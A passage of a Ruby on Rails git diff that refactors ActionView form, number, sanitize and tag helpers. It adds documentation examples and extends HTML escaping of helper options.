       # * <tt>:step</tt> - The acceptable value granularity.
       # * Otherwise accepts the same options as text_field_tag.
       def month_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "month"))
+        text_field_tag(name, value, options.merge(type: :month))
       end
 
       # Creates a text field of type "week".
@@ -625,23 +698,49 @@ module ActionView
       # * <tt>:step</tt> - The acceptable value granularity.
       # * Otherwise accepts the same options as text_field_tag.
       def week_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "week"))
+        text_field_tag(name, value, options.merge(type: :week))
       end
 
       # Creates a text field of type "url".
       #
       # ==== Options
       # * Accepts the same options as text_field_tag.
+      #
+      # ==== Examples
+      #   url_field_tag 'name'
+      #   # => <input id="name" name="name" type="url" />
+      #
+      #   url_field_tag 'url', 'http://rubyonrails.org'
+      #   # => <input id="url" name="url" type="url" value="http://rubyonrails.org" />
+      #
+      #   url_field_tag 'url', nil, class: 'special_input'
+      #   # => <input class="special_input" id="url" name="url" type="url" />
+      #
+      #   url_field_tag 'url', 'http://rubyonrails.org', class: 'special_input', disabled: true
+      #   # => <input disabled="disabled" class="special_input" id="url" name="url" type="url" value="http://rubyonrails.org" />
       def url_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "url"))
+        text_field_tag(name, value, options.merge(type: :url))
       end
 
       # Creates a text field of type "email".
       #
       # ==== Options
       # * Accepts the same options as text_field_tag.
+      #
+      # ==== Examples
+      #   email_field_tag 'name'
+      #   # => <input id="name" name="name" type="email" />
+      #
+      #   email_field_tag 'email', 'email@example.com'
+      #   # => <input id="email" name="email" type="email" value="email@example.com" />
+      #
+      #   email_field_tag 'email', nil, class: 'special_input'
+      #   # => <input class="special_input" id="email" name="email" type="email" />
+      #
+      #   email_field_tag 'email', 'email@example.com', class: 'special_input', disabled: true
+      #   # => <input disabled="disabled" class="special_input" id="email" name="email" type="email" value="email@example.com" />
       def email_field_tag(name, value = nil, options = {})
-        text_field_tag(name, value, options.stringify_keys.update("type" => "email"))
+        text_field_tag(name, value, options.merge(type: :email))
       end
 
       # Creates a number field.
@@ -651,12 +750,40 @@ module ActionView
       # * <tt>:max</tt> - The maximum acceptable value.
       # * <tt>:in</tt> - A range specifying the <tt>:min</tt> and
       #   <tt>:max</tt> values.
+      # * <tt>:within</tt> - Same as <tt>:in</tt>.
       # * <tt>:step</tt> - The acceptable value granularity.
       # * Otherwise accepts the same options as text_field_tag.
       #
       # ==== Examples
+      #   number_field_tag 'quantity'
+      #   # => <input id="quantity" name="quantity" type="number" />
+      #
+      #   number_field_tag 'quantity', '1'
+      #   # => <input id="quantity" name="quantity" type="number" value="1" />
+      #
+      #   number_field_tag 'quantity', nil, class: 'special_input'
+      #   # => <input class="special_input" id="quantity" name="quantity" type="number" />
+      #
+      #   number_field_tag 'quantity', nil, min: 1
+      #   # => <input id="quantity" name="quantity" min="1" type="number" />
+      #
+      #   number_field_tag 'quantity', nil, max: 9
+      #   # => <input id="quantity" name="quantity" max="9" type="number" />
+      #
       #   number_field_tag 'quantity', nil, in: 1...10
       #   # => <input id="quantity" name="quantity" min="1" max="9" type="number" />
+      #
+      #   number_field_tag 'quantity', nil, within: 1...10
+      #   # => <input id="quantity" name="quantity" min="1" max="9" type="number" />
+      #
+      #   number_field_tag 'quantity', nil, min: 1, max: 10
+      #   # => <input id="quantity" name="quantity" min="1" max="10" type="number" />
+      #
+      #   number_field_tag 'quantity', nil, min: 1, max: 10, step: 2
+      #   # => <input id="quantity" name="quantity" min="1" max="10" step="2" type="number" />
+      #
+      #   number_field_tag 'quantity', '1', class: 'special_input', disabled: true
+      #   # => <input disabled="disabled" class="special_input" id="quantity" name="quantity" type="number" value="1" />
       def number_field_tag(name, value = nil, options = {})
         options = options.stringify_keys
         options["type"] ||= "number"
@@ -671,13 +798,16 @@ module ActionView
       # ==== Options
       # * Accepts the same options as number_field_tag.
       def range_field_tag(name, value = nil, options = {})
-        number_field_tag(name, value, options.stringify_keys.update("type" => "range"))
+        number_field_tag(name, value, options.merge(type: :range))
       end
 
       # Creates the hidden UTF8 enforcer tag. Override this method in a helper
       # to customize the tag.
       def utf8_enforcer_tag
-        tag(:input, :type => "hidden", :name => "utf8", :value => "&#x2713;".html_safe)
+        # Use raw HTML to ensure the value is written as an HTML entity; it
+        # needs to be the right character regardless of which encoding the
+        # browser infers.
+        '<input name="utf8" type="hidden" value="&#x2713;" />'.html_safe
       end
 
       private
@@ -720,9 +850,11 @@ module ActionView
               method_tag(method) + token_tag(authenticity_token)
           end
 
-          enforce_utf8 = html_options.delete("enforce_utf8") { true }
-          tags = (enforce_utf8 ? utf8_enforcer_tag : ''.html_safe) << method_tag
-          content_tag(:div, tags, :style => 'margin:0;padding:0;display:inline')
+          if html_options.delete("enforce_utf8") { true }
+            utf8_enforcer_tag + method_tag
+          else
+            method_tag
+          end
         end
 
         def form_tag_html(html_options)
@@ -730,8 +862,7 @@ module ActionView
           tag(:form, html_options, true) + extra_tags
         end
 
-        def form_tag_in_block(html_options, &block)
-          content = capture(&block)
+        def form_tag_with_body(html_options, content)
           output = form_tag_html(html_options)
           output << content
           output.safe_concat("</form>")
@@ -739,7 +870,7 @@ module ActionView
 
         # see http://www.w3.org/TR/html4/types.html#type-name
         def sanitize_to_id(name)
-          name.to_s.delete(']').gsub(/[^-a-zA-Z0-9:.]/, "_")
+          name.to_s.delete(']').tr('^-a-zA-Z0-9:.', "_")
         end
     end
   end
diff --git a/actionview/lib/action_view/helpers/javascript_helper.rb b/actionview/lib/action_view/helpers/javascript_helper.rb
index e475d5b018..629c447f3f 100644
--- a/actionview/lib/action_view/helpers/javascript_helper.rb
+++ b/actionview/lib/action_view/helpers/javascript_helper.rb
@@ -47,7 +47,13 @@ module ActionView
       # tag.
       #
       #   javascript_tag "alert('All is good')", defer: 'defer'
-      #   # => <script defer="defer">alert('All is good')</script>
+      # 
+      # Returns: 
+      #   <script defer="defer">
+      #   //<![CDATA[
+      #   alert('All is good')
+      #   //]]>
+      #   </script>
       #
       # Instead of passing the content as an argument, you can also use a block
       # in which case, you pass your +html_options+ as the first parameter.
diff --git a/actionview/lib/action_view/helpers/number_helper.rb b/actionview/lib/action_view/helpers/number_helper.rb
index fda7038a5d..cfd617cedc 100644
--- a/actionview/lib/action_view/helpers/number_helper.rb
+++ b/actionview/lib/action_view/helpers/number_helper.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 
 require 'active_support/core_ext/hash/keys'
 require 'active_support/core_ext/string/output_safety'
@@ -100,17 +99,12 @@ module ActionView
       #
       #   number_to_currency(-1234567890.50, negative_format: "(%u%n)")
       #   # => ($1,234,567,890.50)
-      #   number_to_currency(1234567890.50, unit: "&pound;", separator: ",", delimiter: "")
-      #   # => &pound;1234567890,50
-      #   number_to_currency(1234567890.50, unit: "&pound;", separator: ",", delimiter: "", format: "%n %u")
-      #   # => 1234567890,50 &pound;
+      #   number_to_currency(1234567890.50, unit: "R$", separator: ",", delimiter: "")
+      #   # => R$1234567890,50
+      #   number_to_currency(1234567890.50, unit: "R$", separator: ",", delimiter: "", format: "%n %u")
+      #   # => 1234567890,50 R$
       def number_to_currency(number, options = {})
-        return unless number
-        options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
-        wrap_with_output_safety_handling(number, options.delete(:raise)) {
-          ActiveSupport::NumberHelper.number_to_currency(number, options)
-        }
+        delegate_number_helper_method(:number_to_currency, number, options)
       end
 
       # Formats a +number+ as a percentage string (e.g., 65%). You can
@@ -150,12 +144,7 @@ module ActionView
       #
       #   number_to_percentage("98a", raise: true)                         # => InvalidNumberError
       def number_to_percentage(number, options = {})
-        return unless number
-        options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
-        wrap_with_output_safety_handling(number, options.delete(:raise)) {
-          ActiveSupport::NumberHelper.number_to_percentage(number, options)
-        }
+        delegate_number_helper_method(:number_to_percentage, number, options)
       end
 
       # Formats a +number+ with grouped thousands using +delimiter+
@@ -188,11 +177,7 @@ module ActionView
       #
       #  number_with_delimiter("112a", raise: true)              # => raise InvalidNumberError
       def number_with_delimiter(number, options = {})
-        options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
-        wrap_with_output_safety_handling(number, options.delete(:raise)) {
-          ActiveSupport::NumberHelper.number_to_delimited(number, options)
-        }
+        delegate_number_helper_method(:number_to_delimited, number, options)
       end
 
       # Formats a +number+ with the specified level of
@@ -237,11 +222,7 @@ module ActionView
       #   number_with_precision(1111.2345, precision: 2, separator: ',', delimiter: '.')
       #   # => 1.111,23
       def number_with_precision(number, options = {})
-        options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
-        wrap_with_output_safety_handling(number, options.delete(:raise)) {
-          ActiveSupport::NumberHelper.number_to_rounded(number, options)
-        }
+        delegate_number_helper_method(:number_to_rounded, number, options)
       end
 
       # Formats the bytes in +number+ into a more understandable
@@ -284,20 +265,10 @@ module ActionView
       #   number_to_human_size(1234567, precision: 2)                        # => 1.2 MB
       #   number_to_human_size(483989, precision: 2)                         # => 470 KB
       #   number_to_human_size(1234567, precision: 2, separator: ',')        # => 1,2 MB
-      #
-      # Non-significant zeros after the fractional separator are
-      # stripped out by default (set
-      # <tt>:strip_insignificant_zeros</tt> to +false+ to change
-      # that):
-      #
-      #   number_to_human_size(1234567890123, precision: 5)        # => "1.1229 TB"
-      #   number_to_human_size(524288000, precision: 5)            # => "500 MB"
+      #   number_to_human_size(1234567890123, precision: 5)                  # => "1.1228 TB"
+      #   number_to_human_size(524288000, precision: 5)                      # => "500 MB"
       def number_to_human_size(number, options = {})
-        options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
-
-        wrap_with_output_safety_handling(number, options.delete(:raise)) {
-          ActiveSupport::NumberHelper.number_to_human_size(number, options)
-        }
+        delegate_number_helper_method(:number_to_human_size, number, options)
       end
 
       # Pretty prints (formats and approximates) a number in a way it
@@ -334,12 +305,12 @@ module ActionView
       #   string containing an i18n scope where to find this hash. It
       #   might have the following keys:
       #   * *integers*: <tt>:unit</tt>, <tt>:ten</tt>,
-      #     *<tt>:hundred</tt>, <tt>:thousand</tt>, <tt>:million</tt>,
-      #     *<tt>:billion</tt>, <tt>:trillion</tt>,
-      #     *<tt>:quadrillion</tt>
+      #     <tt>:hundred</tt>, <tt>:thousand</tt>, <tt>:million</tt>,
+      #     <tt>:billion</tt>, <tt>:trillion</tt>,
+      #     <tt>:quadrillion</tt>
       #   * *fractionals*: <tt>:deci</tt>, <tt>:centi</tt>,
-      #     *<tt>:mili</tt>, <tt>:micro</tt>, <tt>:nano</tt>,
-      #     *<tt>:pico</tt>, <tt>:femto</tt>
+      #     <tt>:mili</tt>, <tt>:micro</tt>, <tt>:nano</tt>,
+      #     <tt>:pico</tt>, <tt>:femto</tt>
       # * <tt>:format</tt> - Sets the format of the output string
       #   (defaults to "%n %u"). The field types are:
       #   * %u - The quantifier (ex.: 'thousand')
@@ -365,11 +336,15 @@ module ActionView
       #                           separator: ',',
       #                           significant: false)                   # => "1,2 Million"
       #
+      #   number_to_human(500000000, precision: 5)                      # => "500 Million"
+      #   number_to_human(12345012345, significant: false)              # => "12.345 Billion"
+      #
       # Non-significant zeros after the decimal separator are stripped
       # out by default (set <tt>:strip_insignificant_zeros</tt> to
       # +false+ to change that):
-      #   number_to_human(12345012345, significant_digits: 6)       # => "12.345 Billion"
-      #   number_to_human(500000000, precision: 5)                  # => "500 Million"
+      #
+      # number_to_human(12.00001)                                       # => "12"
+      # number_to_human(12.00001, strip_insignificant_zeros: false)     # => "12.0"
       #
       # ==== Custom Unit Quantifiers
       #
@@ -399,21 +374,36 @@ module ActionView
       #  number_to_human(0.34, units: :distance)                # => "34 centimeters"
       #
       def number_to_human(number, options = {})
-        options = escape_unsafe_delimiters_and_separators(options.symbolize_keys)
+        delegate_number_helper_method(:number_to_human, number, options)
+      end
+
+      private
+
+      def delegate_number_helper_method(method, number, options)
+        return unless number
+        options = escape_unsafe_options(options.symbolize_keys)
 
         wrap_with_output_safety_handling(number, options.delete(:raise)) {
-          ActiveSupport::NumberHelper.number_to_human(number, options)
+          ActiveSupport::NumberHelper.public_send(method, number, options)
         }
       end
 
-      private
-
-      def escape_unsafe_delimiters_and_separators(options)
-        options[:separator] = ERB::Util.html_escape(options[:separator]) if options[:separator] && !options[:separator].html_safe?
-        options[:delimiter] = ERB::Util.html_escape(options[:delimiter]) if options[:delimiter] && !options[:delimiter].html_safe?
+      def escape_unsafe_options(options)
+        options[:format]          = ERB::Util.html_escape(options[:format]) if options[:format]
+        options[:negative_format] = ERB::Util.html_escape(options[:negative_format]) if options[:negative_format]
+        options[:separator]       = ERB::Util.html_escape(options[:separator]) if options[:separator]
+        options[:delimiter]       = ERB::Util.html_escape(options[:delimiter]) if options[:delimiter]
+        options[:unit]            = ERB::Util.html_escape(options[:unit]) if options[:unit] && !options[:unit].html_safe?
+        options[:units]           = escape_units(options[:units]) if options[:units] && Hash === options[:units]
         options
       end
 
+      def escape_units(units)
+        Hash[units.map do |k, v|
+          [k, ERB::Util.html_escape(v)]
+        end]
+      end
+
       def wrap_with_output_safety_handling(number, raise_on_invalid, &block)
         valid_float = valid_float?(number)
         raise InvalidNumberError, number if raise_on_invalid && !valid_float
diff --git a/actionview/lib/action_view/helpers/output_safety_helper.rb b/actionview/lib/action_view/helpers/output_safety_helper.rb
index 60a4478c26..1c2a400245 100644
--- a/actionview/lib/action_view/helpers/output_safety_helper.rb
+++ b/actionview/lib/action_view/helpers/output_safety_helper.rb
@@ -17,10 +17,10 @@ module ActionView #:nodoc:
         stringish.to_s.html_safe
       end
 
-      # This method returns a html safe string similar to what <tt>Array#join</tt>
-      # would return. All items in the array, including the supplied separator, are
-      # html escaped unless they are html safe, and the returned string is marked
-      # as html safe.
+      # This method returns an HTML safe string similar to what <tt>Array#join</tt>
+      # would return. The array is flattened, and all items, including
+      # the supplied separator, are HTML escaped unless they are HTML
+      # safe, and the returned string is marked as HTML safe.
       #
       #   safe_join(["<p>foo</p>".html_safe, "<p>bar</p>"], "<br />")
       #   # => "<p>foo</p>&lt;br /&gt;&lt;p&gt;bar&lt;/p&gt;"
@@ -29,9 +29,9 @@ module ActionView #:nodoc:
       #   # => "<p>foo</p><br /><p>bar</p>"
       #
       def safe_join(array, sep=$,)
-        sep = ERB::Util.html_escape(sep)
+        sep = ERB::Util.unwrapped_html_escape(sep)
 
-        array.map { |i| ERB::Util.html_escape(i) }.join(sep).html_safe
+        array.flatten.map! { |i| ERB::Util.unwrapped_html_escape(i) }.join(sep).html_safe
       end
     end
   end
diff --git a/actionview/lib/action_view/helpers/rendering_helper.rb b/actionview/lib/action_view/helpers/rendering_helper.rb
index 458086de96..827932d8e2 100644
--- a/actionview/lib/action_view/helpers/rendering_helper.rb
+++ b/actionview/lib/action_view/helpers/rendering_helper.rb
@@ -12,6 +12,14 @@ module ActionView
       # * <tt>:file</tt> - Renders an explicit template file (this used to be the old default), add :locals to pass in those.
       # * <tt>:inline</tt> - Renders an inline template similar to how it's done in the controller.
       # * <tt>:text</tt> - Renders the text passed in out.
+      # * <tt>:plain</tt> - Renders the text passed in out. Setting the content
+      #   type as <tt>text/plain</tt>.
+      # * <tt>:html</tt> - Renders the HTML safe string passed in out, otherwise
+      #   performs HTML escape on the string first. Setting the content type as
+      #   <tt>text/html</tt>.
+      # * <tt>:body</tt> - Renders the text passed in, and inherits the content
+      #   type of <tt>text/html</tt> from <tt>ActionDispatch::Response</tt>
+      #   object.
       #
       # If no options hash is passed or :update specified, the default is to render a partial and use the second parameter
       # as the locals hash.
@@ -24,7 +32,7 @@ module ActionView
             view_renderer.render(self, options)
           end
         else
-          view_renderer.render_partial(self, :partial => options, :locals => locals)
+          view_renderer.render_partial(self, :partial => options, :locals => locals, &block)
         end
       end
 
diff --git a/actionview/lib/action_view/helpers/sanitize_helper.rb b/actionview/lib/action_view/helpers/sanitize_helper.rb
index e5cb843670..463a4e9f60 100644
--- a/actionview/lib/action_view/helpers/sanitize_helper.rb
+++ b/actionview/lib/action_view/helpers/sanitize_helper.rb
@@ -1,5 +1,5 @@
 require 'active_support/core_ext/object/try'
-require 'action_view/vendor/html-scanner'
+require 'rails-html-sanitizer'
 
 module ActionView
   # = Action View Sanitize Helpers
@@ -8,54 +8,77 @@ module ActionView
     # These helper methods extend Action View making them callable within your template files.
     module SanitizeHelper
       extend ActiveSupport::Concern
-      # This +sanitize+ helper will html encode all tags and strip all attributes that
-      # aren't specifically allowed.
+      # Sanitizes HTML input, stripping all tags and attributes that aren't whitelisted.
       #
-      # It also strips href/src tags with invalid protocols, like javascript: especially.
-      # It does its best to counter any  tricks that hackers may use, like throwing in
-      # unicode/ascii/hex values to get past the javascript: filters. Check out
-      # the extensive test suite.
+      # It also strips href/src attributes with unsafe protocols like
+      # <tt>javascript:</tt>, while also protecting against attempts to use Unicode,
+      # ASCII, and hex character references to work around these protocol filters.
       #
-      #   <%= sanitize @article.body %>
+      # The default sanitizer is Rails::Html::WhiteListSanitizer. See {Rails HTML
+      # Sanitizers}[https://github.com/rails/rails-html-sanitizer] for more information.
       #
-      # You can add or remove tags/attributes if you want to customize it a bit.
-      # See ActionView::Base for full docs on the available options. You can add
-      # tags/attributes for single uses of +sanitize+ by passing either the
-      # <tt>:attributes</tt> or <tt>:tags</tt> options:
+      # Custom sanitization rules can also be provided.
       #
-      # Normal Use
+      # Please note that sanitizing user-provided text does not guarantee that the
+      # resulting markup is valid or even well-formed. For example, the output may still
+      # contain unescaped characters like <tt><</tt>, <tt>></tt>, or <tt>&</tt>.
       #
-      #   <%= sanitize @article.body %>
+      # ==== Options
       #
-      # Custom Use (only the mentioned tags and attributes are allowed, nothing else)
+      # * <tt>:tags</tt> - An array of allowed tags.
+      # * <tt>:attributes</tt> - An array of allowed attributes.
+      # * <tt>:scrubber</tt> - A {Rails::Html scrubber}[https://github.com/rails/rails-html-sanitizer]
+      #   or {Loofah::Scrubber}[https://github.com/flavorjones/loofah] object that
+      #   defines custom sanitization rules. A custom scrubber takes precedence over
+      #   custom tags and attributes.
       #
-      #   <%= sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style) %>
+      # ==== Examples
       #
-      # Add table tags to the default allowed tags
+      # Normal use:
       #
-      #   class Application < Rails::Application
-      #     config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
-      #   end
+      #   <%= sanitize @comment.body %>
+      #
+      # Providing custom whitelisted tags and attributes:
+      #
+      #   <%= sanitize @comment.body, tags: %w(strong em a), attributes: %w(href) %>
+      #
+      # Providing a custom Rails::Html scrubber:
       #
-      # Remove tags to the default allowed tags
+      #   class CommentScrubber < Rails::Html::PermitScrubber
+      #     def allowed_node?(node)
+      #       !%w(form script comment blockquote).include?(node.name)
+      #     end
+      #
+      #     def skip_node?(node)
+      #       node.text?
+      #     end
       #
-      #   class Application < Rails::Application
-      #     config.after_initialize do
-      #       ActionView::Base.sanitized_allowed_tags.delete 'div'
+      #     def scrub_attribute?(name)
+      #       name == 'style'
       #     end
       #   end
       #
-      # Change allowed default attributes
+      #   <%= sanitize @comment.body, scrubber: CommentScrubber.new %>
+      #
+      # See {Rails HTML Sanitizer}[https://github.com/rails/rails-html-sanitizer] for
+      # documentation about Rails::Html scrubbers.
+      #
+      # Providing a custom Loofah::Scrubber:
       #
-      #   class Application < Rails::Application
-      #     config.action_view.sanitized_allowed_attributes = 'id', 'class', 'style'
+      #   scrubber = Loofah::Scrubber.new do |node|
+      #     node.remove if node.name == 'script'
       #   end
       #
-      # Please note that sanitizing user-provided text does not guarantee that the
-      # resulting markup is valid (conforming to a document type) or even well-formed.
-      # The output may still contain e.g. unescaped '<', '>', '&' characters and
-      # confuse browsers.
+      #   <%= sanitize @comment.body, scrubber: scrubber %>
+      #
+      # See {Loofah's documentation}[https://github.com/flavorjones/loofah] for more
+      # information about defining custom Loofah::Scrubber objects.
+      #
+      # To set the default allowed tags or attributes across your application:
       #
+      #   # In config/application.rb
+      #   config.action_view.sanitized_allowed_tags = ['strong', 'em', 'a']
+      #   config.action_view.sanitized_allowed_attributes = ['href', 'title']
       def sanitize(html, options = {})
         self.class.white_list_sanitizer.sanitize(html, options).try(:html_safe)
       end
@@ -65,9 +88,7 @@ module ActionView
         self.class.white_list_sanitizer.sanitize_css(style)
       end
 
-      # Strips all HTML tags from the +html+, including comments. This uses the
-      # html-scanner tokenizer and so its HTML parsing ability is limited by
-      # that of html-scanner.
+      # Strips all HTML tags from +html+, including comments.
       #
       #   strip_tags("Strip <i>these</i> tags!")
       #   # => Strip these tags!
@@ -81,7 +102,7 @@ module ActionView
         self.class.full_sanitizer.sanitize(html)
       end
 
-      # Strips all link tags from +text+ leaving just the link text.
+      # Strips all link tags from +html+ leaving just the link text.
       #
       #   strip_links('<a href="http://www.rubyonrails.org">Ruby on Rails</a>')
       #   # => Ruby on Rails
@@ -98,47 +119,21 @@ module ActionView
       module ClassMethods #:nodoc:
         attr_writer :full_sanitizer, :link_sanitizer, :white_list_sanitizer
 
-        def sanitized_protocol_separator
-          white_list_sanitizer.protocol_separator
-        end
-
-        def sanitized_uri_attributes
-          white_list_sanitizer.uri_attributes
-        end
-
-        def sanitized_bad_tags
-          white_list_sanitizer.bad_tags
+        # Vendors the full, link and white list sanitizers.
+        # Provided strictly for compabitility and can be removed in Rails 5.
+        def sanitizer_vendor
+          Rails::Html::Sanitizer
         end
 
         def sanitized_allowed_tags
-          white_list_sanitizer.allowed_tags
+          sanitizer_vendor.white_list_sanitizer.allowed_tags
         end
 
         def sanitized_allowed_attributes
-          white_list_sanitizer.allowed_attributes
+          sanitizer_vendor.white_list_sanitizer.allowed_attributes
         end
 
-        def sanitized_allowed_css_properties
-          white_list_sanitizer.allowed_css_properties
-        end
-
-        def sanitized_allowed_css_keywords
-          white_list_sanitizer.allowed_css_keywords
-        end
-
-        def sanitized_shorthand_css_properties
-          white_list_sanitizer.shorthand_css_properties
-        end
-
-        def sanitized_allowed_protocols
-          white_list_sanitizer.allowed_protocols
-        end
-
-        def sanitized_protocol_separator=(value)
-          white_list_sanitizer.protocol_separator = value
-        end
-
-        # Gets the HTML::FullSanitizer instance used by +strip_tags+. Replace with
+        # Gets the Rails::Html::FullSanitizer instance used by +strip_tags+. Replace with
         # any object that responds to +sanitize+.
         #
         #   class Application < Rails::Application
@@ -146,21 +141,21 @@ module ActionView
         #   end
         #
         def full_sanitizer
-          @full_sanitizer ||= HTML::FullSanitizer.new
+          @full_sanitizer ||= sanitizer_vendor.full_sanitizer.new
         end
 
-        # Gets the HTML::LinkSanitizer instance used by +strip_links+. Replace with
-        # any object that responds to +sanitize+.
+        # Gets the Rails::Html::LinkSanitizer instance used by +strip_links+.
+        # Replace with any object that responds to +sanitize+.
         #
         #   class Application < Rails::Application
         #     config.action_view.link_sanitizer = MySpecialSanitizer.new
         #   end
         #
         def link_sanitizer
-          @link_sanitizer ||= HTML::LinkSanitizer.new
+          @link_sanitizer ||= sanitizer_vendor.link_sanitizer.new
         end
 
-        # Gets the HTML::WhiteListSanitizer instance used by sanitize and +sanitize_css+.
+        # Gets the Rails::Html::WhiteListSanitizer instance used by sanitize and +sanitize_css+.
         # Replace with any object that responds to +sanitize+.
         #
         #   class Application < Rails::Application
@@ -168,87 +163,7 @@ module ActionView
         #   end
         #
         def white_list_sanitizer
-          @white_list_sanitizer ||= HTML::WhiteListSanitizer.new
-        end
-
-        # Adds valid HTML attributes that the +sanitize+ helper checks for URIs.
-        #
-        #   class Application < Rails::Application
-        #     config.action_view.sanitized_uri_attributes = 'lowsrc', 'target'
-        #   end
-        #
-        def sanitized_uri_attributes=(attributes)
-          HTML::WhiteListSanitizer.uri_attributes.merge(attributes)
-        end
-
-        # Adds to the Set of 'bad' tags for the +sanitize+ helper.
-        #
-        #   class Application < Rails::Application
-        #     config.action_view.sanitized_bad_tags = 'embed', 'object'
-        #   end
-        #
-        def sanitized_bad_tags=(attributes)
-          HTML::WhiteListSanitizer.bad_tags.merge(attributes)
-        end
-
-        # Adds to the Set of allowed tags for the +sanitize+ helper.
-        #
-        #   class Application < Rails::Application
-        #     config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td'
-        #   end
-        #
-        def sanitized_allowed_tags=(attributes)
-          HTML::WhiteListSanitizer.allowed_tags.merge(attributes)
-        end
-
-        # Adds to the Set of allowed HTML attributes for the +sanitize+ helper.
-        #
-        #   class Application < Rails::Application
-        #     config.action_view.sanitized_allowed_attributes = 'onclick', 'longdesc'
-        #   end
-        #
-        def sanitized_allowed_attributes=(attributes)
-          HTML::WhiteListSanitizer.allowed_attributes.merge(attributes)
-        end
-
-        # Adds to the Set of allowed CSS properties for the #sanitize and +sanitize_css+ helpers.
-        #
-        #   class Application < Rails::Application
-        #     config.action_view.sanitized_allowed_css_properties = 'expression'
-        #   end
-        #
-        def sanitized_allowed_css_properties=(attributes)
-          HTML::WhiteListSanitizer.allowed_css_properties.merge(attributes)
-        end
-
-        # Adds to the Set of allowed CSS keywords for the +sanitize+ and +sanitize_css+ helpers.
-        #
-        #   class Application < Rails::Application
-        #     config.action_view.sanitized_allowed_css_keywords = 'expression'
-        #   end
-        #
-        def sanitized_allowed_css_keywords=(attributes)
-          HTML::WhiteListSanitizer.allowed_css_keywords.merge(attributes)
-        end
-
-        # Adds to the Set of allowed shorthand CSS properties for the +sanitize+ and +sanitize_css+ helpers.
-        #
-        #   class Application < Rails::Application
-        #     config.action_view.sanitized_shorthand_css_properties = 'expression'
-        #   end
-        #
-        def sanitized_shorthand_css_properties=(attributes)
-          HTML::WhiteListSanitizer.shorthand_css_properties.merge(attributes)
-        end
-
-        # Adds to the Set of allowed protocols for the +sanitize+ helper.
-        #
-        #   class Application < Rails::Application
-        #     config.action_view.sanitized_allowed_protocols = 'ssh', 'feed'
-        #   end
-        #
-        def sanitized_allowed_protocols=(attributes)
-          HTML::WhiteListSanitizer.allowed_protocols.merge(attributes)
+          @white_list_sanitizer ||= sanitizer_vendor.white_list_sanitizer.new
         end
       end
     end
diff --git a/actionview/lib/action_view/helpers/tag_helper.rb b/actionview/lib/action_view/helpers/tag_helper.rb
index 732f35643a..a87c223a71 100644
--- a/actionview/lib/action_view/helpers/tag_helper.rb
+++ b/actionview/lib/action_view/helpers/tag_helper.rb
@@ -9,6 +9,7 @@ module ActionView
     module TagHelper
       extend ActiveSupport::Concern
       include CaptureHelper
+      include OutputSafetyHelper
 
       BOOLEAN_ATTRIBUTES = %w(disabled readonly multiple checked autobuffer
                            autoplay controls loop selected hidden scoped async
@@ -17,7 +18,9 @@ module ActionView
                            itemscope allowfullscreen default inert sortable
                            truespeed typemustmatch).to_set
 
-      BOOLEAN_ATTRIBUTES.merge(BOOLEAN_ATTRIBUTES.map {|attribute| attribute.to_sym })
+      BOOLEAN_ATTRIBUTES.merge(BOOLEAN_ATTRIBUTES.map(&:to_sym))
+
+      TAG_PREFIXES = ['aria', 'data', :aria, :data].to_set
 
       PRE_CONTENT_STRINGS = {
         :textarea => "\n"
@@ -42,7 +45,8 @@ module ActionView
       # For example, a key +user_id+ would render as <tt>data-user-id</tt> and
       # thus accessed as <tt>dataset.userId</tt>.
       #
-      # Values are encoded to JSON, with the exception of strings and symbols.
+      # Values are encoded to JSON, with the exception of strings, symbols and
+      # BigDecimals.
       # This may come in handy when using jQuery's HTML5-aware <tt>.data()</tt>
       # from 1.4.3.
       #
@@ -56,6 +60,9 @@ module ActionView
       #   tag("input", type: 'text', disabled: true)
       #   # => <input type="text" disabled="disabled" />
       #
+      #   tag("input", type: 'text', class: ["strong", "highlight"])
+      #   # => <input class="strong highlight" type="text" />
+      #
       #   tag("img", src: "open & shut.png")
       #   # => <img src="open &amp; shut.png" />
       #
@@ -75,7 +82,7 @@ module ActionView
       # Set escape to false to disable attribute value escaping.
       #
       # ==== Options
-      # The +options+ hash is used with attributes with no value like (<tt>disabled</tt> and
+      # The +options+ hash can be used with attributes with no value like (<tt>disabled</tt> and
       # <tt>readonly</tt>), which you can give a value of true in the +options+ hash. You can use
       # symbols or strings for the attribute names.
       #
@@ -84,6 +91,8 @@ module ActionView
       #    # => <p>Hello world!</p>
       #   content_tag(:div, content_tag(:p, "Hello world!"), class: "strong")
       #    # => <div class="strong"><p>Hello world!</p></div>
+      #   content_tag(:div, "Hello world!", class: ["strong", "highlight"])
+      #    # => <div class="strong highlight">Hello world!</div>
       #   content_tag("select", options, multiple: true)
       #    # => <select multiple="multiple">...options...</select>
       #
@@ -114,7 +123,7 @@ module ActionView
       #   cdata_section("hello]]>world")
       #   # => <![CDATA[hello]]]]><![CDATA[>world]]>
       def cdata_section(content)
-        splitted = content.gsub(']]>', ']]]]><![CDATA[>')
+        splitted = content.to_s.gsub(/\]\]\>/, ']]]]><![CDATA[>')
         "<![CDATA[#{splitted}]]>".html_safe
       end
 
@@ -133,7 +142,7 @@ module ActionView
 
         def content_tag_string(name, content, options, escape = true)
           tag_options = tag_options(options, escape) if options
-          content     = ERB::Util.h(content) if escape
+          content     = ERB::Util.unwrapped_html_escape(content) if escape
           "<#{name}#{tag_options}>#{PRE_CONTENT_STRINGS[name.to_sym]}#{content}</#{name}>".html_safe
         end
 
@@ -141,9 +150,9 @@ module ActionView
           return if options.blank?
           attrs = []
           options.each_pair do |key, value|
-            if key.to_s == 'data' && value.is_a?(Hash)
+            if TAG_PREFIXES.include?(key) && value.is_a?(Hash)
               value.each_pair do |k, v|
-                attrs << data_tag_option(k, v, escape)
+                attrs << prefix_tag_option(key, k, v, escape)
               end
             elsif BOOLEAN_ATTRIBUTES.include?(key)
               attrs << boolean_tag_option(key) if value
@@ -151,11 +160,11 @@ module ActionView
               attrs << tag_option(key, value, escape)
             end
           end
